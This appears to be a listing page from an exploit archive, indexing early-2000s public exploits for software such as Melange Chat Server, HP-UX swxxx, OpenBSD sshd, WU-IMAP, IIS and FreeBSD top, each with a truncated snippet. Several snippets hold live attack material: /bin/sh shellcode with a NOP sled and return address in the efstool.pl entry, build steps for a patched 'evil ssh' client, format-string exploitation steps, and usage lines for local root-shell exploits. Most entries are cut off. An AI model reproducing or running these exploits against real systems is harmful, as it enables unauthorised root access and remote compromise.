Melange Chat Server 1.10 - Remote Buffer Overflow

/ Proof of Concept for Melange Chat Server 1.10 a lame remote bof exploit by innerphobia 12/24/02 Credits go to: - iDefense Labs for the advisory - blink for discovering the bug - Irian for the shellcode With careful calculation it is possible to control even the EIP, not just one byte of EIP...

HP-UX 11.0/11.11 swxxx Local Root Shell Exploit

Exploit for hp-ux platform in category local exploits =============================================== HP-UX 11.0/11.11 swxxx Local Root Shell Exploit =============================================== / Program : xhpux11isw.c Use : HP-UX 11.11/11.0 exploit swxxx to get local root shell. Complie : cc...

HP-UX 11.0/11.11 - 'swxxx' Privilege Escalation

/ Program : xhpux11isw.c Use : HP-UX 11.11/11.0 exploit swxxx to get local root shell. Complie : cc xhpux11isw.c -o xsw;./xsw not use gcc for some system Usage : ./xsw off Tested : HP-UX B11.11 & HP-UX B11.0 Author : watercloud @ xfocus.org Date : 2002-12-11 Note : Use as your own risk !! / inclu...

Macromedia Flash 6.0.47.0 - SWRemote Heap Corruption

Macromedia Flash 6.0.47.0 - SWRemote Heap Corruption source: https://www.securityfocus.com/bid/6196/info A buffer overrun condition has been discovered in the SWRemote parameter used in Macromedia Flash objects. By triggering the overrun it is possible for an attacker to corrupt sensitive heap...

New buffer overflow in plaetDNS

hi planetdns http://www.planetdns.netis commercial software package that allows you to turn computer into an Internet server. and be able to create an Internet Name, connect to a web server, FTP, mail server, etc. running on your computer. planetdns is vulnerable has a buffer overflow with a...

Microsoft Windows XP/2000/NT 4.0 - NetDDE Privilege Escalation (2)

// source: https://www.securityfocus.com/bid/5927/info The Winlogon NetDDE Agent can be leveraged to allow local privilege escalation. This is related to the Microsoft Windows Window Message Subsystem Design Error Vulnerability BID 5408. A local user can use a WMCOPYDATA message to send arbitrary...

efstool.pl

!/usr/bin/perl Another efstool exploit $shell = "\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x31\xc0\x50\x89". "\xe2\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89". "\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; $ret =0xbfffe590; $buf = 3000; $egg = 2000; $nop = "\x90"; $offset = 0; if @ARGV == 1 $offset = $ARGV0;...

Microsoft Windows XP2000NT 4.0 - Window Message Subsystem Design Error (3)

Microsoft Windows XP2000NT 4.0 - Window Message Subsystem Design Error 3 // source: https://www.securityfocus.com/bid/5408/info A serious design error in the Win32 API has been reported. The issue is related to the inter-window message passing system. This vulnerability is wide-ranging and likely...

CodeBlue 5.1 - SMTP Response Buffer Overflow

CodeBlue 5.1 - SMTP Response Buffer Overflow // source: https://www.securityfocus.com/bid/5300/info CodeBlue is an Apache httpd log scanning utility that attempts to contact the administrators of hosts infected with worms. A buffer overflow vulnerability has been reported in CodeBlue. The conditi...

ATPhttpd 0.4b - Remote Buffer Overflow

ATPhttpd 0.4b - Remote Buffer Overflow / source: https://www.securityfocus.com/bid/5215/info ATPhttpd is a small webserver designed for high-performance. It was developed by Yann Ramin. There exist several exploitable buffer overflow conditions in ATPhttpd. Remote attackers may levarage these...

fuck.txt

include include WSADATA wsadata; LPHOSTENT host; SOCKET s; SOCKADDRIN victim; char check="GET...

OpenBSD 3.1 sshd remote root exploit

Download openssh-3.2.2p1.tar.gz and untar it $ tar -xvzf openssh-3.2.2p1.tar.gz 2. Apply the patch provided below by running: /openssh-3.2.2p1 $ patch pathtodifffile 3. Compile the patched client /openssh-3.2.2p1 $ ./configure && make ssh 4. Run the evil ssh: /openssh-3.2.2p1 $ ./ssh...

WU-IMAP 2000.287(1-2) - Remote Overflow

WU-IMAP 2000.2871-2 - Remote Overflow / 7350owex- x86/linux WU-IMAP 2000.2871-2 remote exploit TESO CONFIDENTIAL - SOURCE MATERIALS This is unpublished proprietary source code of TESO Security. The contents of these coded instructions, statements and computer programs may not be disclosed to thir...

Ehud Gavron TrACESroute 6.1.1 - Terminator Function Format String

source: https://www.securityfocus.com/bid/4956/info A format string vulnerability exists in TrACESroute. The problem exists in the terminator -T function of the program. Due to improper use of the fprintf function, an attacker may be able to supply a malicious format string to the program that...

ymxp.txt

Yahoo! Messenger 5,0,0,1061 Buffer Overflow Exploit for Win XP Pro Intro: Proof of concept code for YM Buffer Overflow as discovered in: http://packetstorm.decepticons.org/advisories/misc/yahoo-im.txt Code flow: Overwrite EIP at 218 Point EIP to a "RET" in the memory "RET" jumps to beginning of...

sniffit-exp1.txt

/ Remote overflow in sniffit.0.3.7.beta tested on slackware 7.1 found/coded by g463 -18th january 2002- The vulnerability is triggered when the option -L is called from the command line with 'normmail' ie : ./sniffit -c ./sampleconfigfile -L normmail It calls a piece of code where the buffer is...

Microsoft IIS 4.05.0 - SSI Buffer Overrun Privilege Escalation

Microsoft IIS 4.05.0 - SSI Buffer Overrun Privilege Escalation // source: https://www.securityfocus.com/bid/3190/info A vulnerability exists in Microsoft IIS 4.0 and 5.0 that could allow a user with permission to write content to the IIS server to run any code in Local System context. / jim.c - I...

FreeBSD - '/usr/bin/top' Format String

/ freebsd x86 top exploit affected under top-3.5beta9 including this version 1. get the address of .dtors from /usr/bin/top using objdump , 'objdump -s -j .dtors /usr/bin/top' 2. divide it into four parts, and set it up into an environment variable like "XSEO=" 3. run top, then find "your parted...

FreeBSD - usrbintop Format String

FreeBSD - usrbintop Format String / freebsd x86 top exploit affected under top-3.5beta9 including this version 1. get the address of .dtors from /usr/bin/top using objdump , 'objdump -s -j .dtors /usr/bin/top' 2. divide it into four parts, and set it up into an environment variable like "XSEO=" 3...

Debian 2.2 usrbinpileup - Local Privilege Escalation

Debian 2.2 usrbinpileup - Local Privilege Escalation / pileup-xpl.c - local root exploit by core Friday the 13th, July 2001 based almost entirely on code by Cody Tubbs loophole of hhp $ ./pileup-xpl pileup-xpl by core 2001 - beep beep root! usage: ./pileup-xpl offset align0..3 Ret-addr: 0xbfffe09...